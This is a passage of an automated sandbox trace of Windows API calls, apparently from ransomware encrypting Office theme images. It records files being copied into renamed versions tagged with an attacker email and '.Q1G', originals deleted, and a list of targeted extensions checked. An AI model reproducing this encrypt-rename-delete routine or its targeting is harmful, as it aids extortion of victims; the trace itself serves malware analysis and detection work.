shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.898] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.899] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.904] GetLastError () returned 0x0 [0046.904] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x143b, lpOverlapped=0x0) returned 1 [0046.906] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0046.907] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.907] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.907] SetEndOfFile (hFile=0x214) returned 1 [0046.907] CloseHandle (hObject=0x214) returned 1 [0046.908] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.908] SetEndOfFile (hFile=0x1a8) returned 1 [0047.007] CloseHandle (hObject=0x1a8) returned 1 [0047.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.008] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0047.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.008] lstrlenW (lpString=".doc") returned 4 [0047.008] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.008] lstrlenW (lpString=".docx") returned 5 [0047.008] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.008] lstrlenW (lpString=".pdf") returned 4 [0047.008] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.008] lstrlenW (lpString=".xls") returned 4 [0047.008] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.008] lstrlenW (lpString=".xlsx") returned 5 [0047.008] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.008] lstrlenW (lpString=".ppt") returned 4 [0047.008] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.008] lstrlenW (lpString=".zip") returned 4 [0047.008] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.008] lstrlenW (lpString=".rar") returned 4 [0047.008] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.008] lstrlenW (lpString=".bz2") returned 4 [0047.008] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.008] lstrlenW (lpString=".7z") returned 3 [0047.008] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.008] lstrlenW (lpString=".dbf") returned 4 [0047.008] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.009] lstrlenW (lpString=".1cd") returned 4 [0047.009] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.009] lstrlenW (lpString=".jpg") returned 4 [0047.009] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.009] lstrlenW (lpString=".doc") returned 4 [0047.009] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.009] lstrlenW (lpString=".docx") returned 5 [0047.009] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.009] lstrlenW (lpString=".pdf") returned 4 [0047.009] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.009] lstrlenW (lpString=".xls") returned 4 [0047.009] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.009] lstrlenW (lpString=".xlsx") returned 5 [0047.009] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.009] lstrlenW (lpString=".ppt") returned 4 [0047.009] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.009] lstrlenW (lpString=".zip") returned 4 [0047.009] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.009] lstrlenW (lpString=".rar") returned 4 [0047.009] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.009] lstrlenW (lpString=".bz2") returned 4 [0047.009] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.009] lstrlenW (lpString=".7z") returned 3 [0047.009] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.009] lstrlenW (lpString=".dbf") returned 4 [0047.009] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.009] lstrlenW (lpString=".1cd") returned 4 [0047.009] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0047.010] lstrlenW (lpString=".jpg") returned 4 [0047.010] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.010] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.010] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.010] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=33559) returned 1 [0047.010] CloseHandle (hObject=0x1a8) returned 1 [0047.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0047.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.011] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.011] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.011] GetLastError () returned 0x0 [0047.011] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x8317, lpOverlapped=0x0) returned 1 [0047.014] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0047.015] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.015] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.015] SetEndOfFile (hFile=0x214) returned 1 [0047.015] CloseHandle (hObject=0x214) returned 1 [0047.016] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.016] SetEndOfFile (hFile=0x1a8) returned 1 [0047.016] CloseHandle (hObject=0x1a8) returned 1 [0047.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.017] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0047.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.017] lstrlenW (lpString=".doc") returned 4 [0047.017] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.017] lstrlenW (lpString=".docx") returned 5 [0047.017] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.017] lstrlenW (lpString=".pdf") returned 4 [0047.017] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.017] lstrlenW (lpString=".xls") returned 4 [0047.017] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.017] lstrlenW (lpString=".xlsx") returned 5 [0047.017] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.017] lstrlenW (lpString=".ppt") returned 4 [0047.017] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.018] lstrlenW (lpString=".zip") returned 4 [0047.018] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.018] lstrlenW (lpString=".rar") returned 4 [0047.018] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.018] lstrlenW (lpString=".bz2") returned 4 [0047.018] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.018] lstrlenW (lpString=".7z") returned 3 [0047.018] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.018] lstrlenW (lpString=".dbf") returned 4 [0047.018] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.018] lstrlenW (lpString=".1cd") returned 4 [0047.018] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.018] lstrlenW (lpString=".jpg") returned 4 [0047.018] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.018] lstrlenW (lpString=".doc") returned 4 [0047.018] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.018] lstrlenW (lpString=".docx") returned 5 [0047.018] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.018] lstrlenW (lpString=".pdf") returned 4 [0047.018] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.018] lstrlenW (lpString=".xls") returned 4 [0047.018] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.018] lstrlenW (lpString=".xlsx") returned 5 [0047.018] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.018] lstrlenW (lpString=".ppt") returned 4 [0047.018] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.018] lstrlenW (lpString=".zip") returned 4 [0047.018] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.019] lstrlenW (lpString=".rar") returned 4 [0047.019] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.019] lstrlenW (lpString=".bz2") returned 4 [0047.019] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.019] lstrlenW (lpString=".7z") returned 3 [0047.019] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.019] lstrlenW (lpString=".dbf") returned 4 [0047.019] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.019] lstrlenW (lpString=".1cd") returned 4 [0047.019] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0047.019] lstrlenW (lpString=".jpg") returned 4 [0047.019] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.019] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.019] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.020] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2476) returned 1 [0047.020] CloseHandle (hObject=0x1a8) returned 1 [0047.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0047.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.020] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.020] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.535] GetLastError () returned 0x0 [0047.535] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0047.538] WriteFile (in: hFile=0x1c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0047.538] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.538] WriteFile (in: hFile=0x1c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.539] SetEndOfFile (hFile=0x1c8) returned 1 [0047.539] CloseHandle (hObject=0x1c8) returned 1 [0047.539] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.539] SetEndOfFile (hFile=0x1a8) returned 1 [0047.539] CloseHandle (hObject=0x1a8) returned 1 [0047.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.540] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0047.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.540] lstrlenW (lpString=".doc") returned 4 [0047.540] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.540] lstrlenW (lpString=".docx") returned 5 [0047.540] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.540] lstrlenW (lpString=".pdf") returned 4 [0047.540] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.540] lstrlenW (lpString=".xls") returned 4 [0047.540] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.540] lstrlenW (lpString=".xlsx") returned 5 [0047.540] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.540] lstrlenW (lpString=".ppt") returned 4 [0047.540] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.540] lstrlenW (lpString=".zip") returned 4 [0047.540] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.540] lstrlenW (lpString=".rar") returned 4 [0047.540] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.540] lstrlenW (lpString=".bz2") returned 4 [0047.540] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.541] lstrlenW (lpString=".7z") returned 3 [0047.541] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.541] lstrlenW (lpString=".dbf") returned 4 [0047.541] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.541] lstrlenW (lpString=".1cd") returned 4 [0047.541] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.541] lstrlenW (lpString=".jpg") returned 4 [0047.541] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.541] lstrlenW (lpString=".doc") returned 4 [0047.541] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.541] lstrlenW (lpString=".docx") returned 5 [0047.541] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.541] lstrlenW (lpString=".pdf") returned 4 [0047.541] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.541] lstrlenW (lpString=".xls") returned 4 [0047.541] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.541] lstrlenW (lpString=".xlsx") returned 5 [0047.541] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.541] lstrlenW (lpString=".ppt") returned 4 [0047.541] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.541] lstrlenW (lpString=".zip") returned 4 [0047.541] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.541] lstrlenW (lpString=".rar") returned 4 [0047.541] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.541] lstrlenW (lpString=".bz2") returned 4 [0047.541] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.541] lstrlenW (lpString=".7z") returned 3 [0047.541] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.541] lstrlenW (lpString=".dbf") returned 4 [0047.542] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.542] lstrlenW (lpString=".1cd") returned 4 [0047.542] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0047.542] lstrlenW (lpString=".jpg") returned 4 [0047.542] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.542] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.542] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.542] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1593) returned 1 [0047.542] CloseHandle (hObject=0x1a8) returned 1 [0047.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0047.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft 